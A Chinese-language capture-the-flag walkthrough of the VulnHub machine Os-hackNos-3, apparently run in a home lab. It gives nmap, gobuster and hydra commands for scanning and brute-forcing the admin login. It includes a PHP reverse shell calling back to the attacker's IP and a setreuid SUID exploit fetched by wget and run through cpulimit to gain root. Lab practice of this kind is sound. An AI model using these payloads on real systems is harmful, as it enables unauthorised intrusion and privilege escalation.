下载靶机
地址:hackNos: Os-hackNos-3 ~ VulnHub
问题阐述
使用virtualbox,kali和靶机均使用桥接网络
kali:172.20.10.10 靶机:172.20.10.5
打靶目标
获取root权限
打靶过程
信息搜集
nmap扫描存活主机,并对存活主机做端口扫描
nmap -sP 172.20.10.1/24
nmap -sV -sC -p- 172.20.10.5
目录扫描
gobuster dir -u http://172.20.10.5 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
访问网站,发现是一个博客,直接尝试访问后台
爬取网站信息制作字典
cewl http://172.20.10.5/websec/ >cewl.txt
hydra 穷举后台
hydra -l contact@hacknos.com -P cewl.txt 172.20.10.5 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Wrong email"
登录后台,上传shell,清除.hatccess
使用蚁剑连接。在这里找到第一个flag
网上有好多反弹shell的方法,nc反弹shell,我没成功,最后在目录上创建了一个a.php文件,写入以下内容,执行文件,反弹成功
<?php $sock=fsockopen("172.20.10.10",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
//php反弹shell
转为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
权限提升
查找
suid
文件
find /usr/bin -type f -perm -u=s 2>/dev/null
cpulimit 提权
本地编写提权exp,上传到靶机,执行即可提升到root权限
//新建 suid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(0,0);
execve("/bin/bash",NULL,NULL);
}
//编译改名为exp
gcc suid.c -o exp
//kali开启http服务
python3 -m http.server 8001
//靶机下载文件
wget http://172.20.10.10:8001/exp
//赋予执行权限靶机执行文件
chmod +x exp
cpulimit -l 100 -f ./exp
www-data@hacknos:/tmp$ cpulimit -l 100 -f ./exp
cpulimit -l 100 -f ./exp
Process 2800 detected
root@hacknos:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@hacknos:/tmp# whoami
whoami
root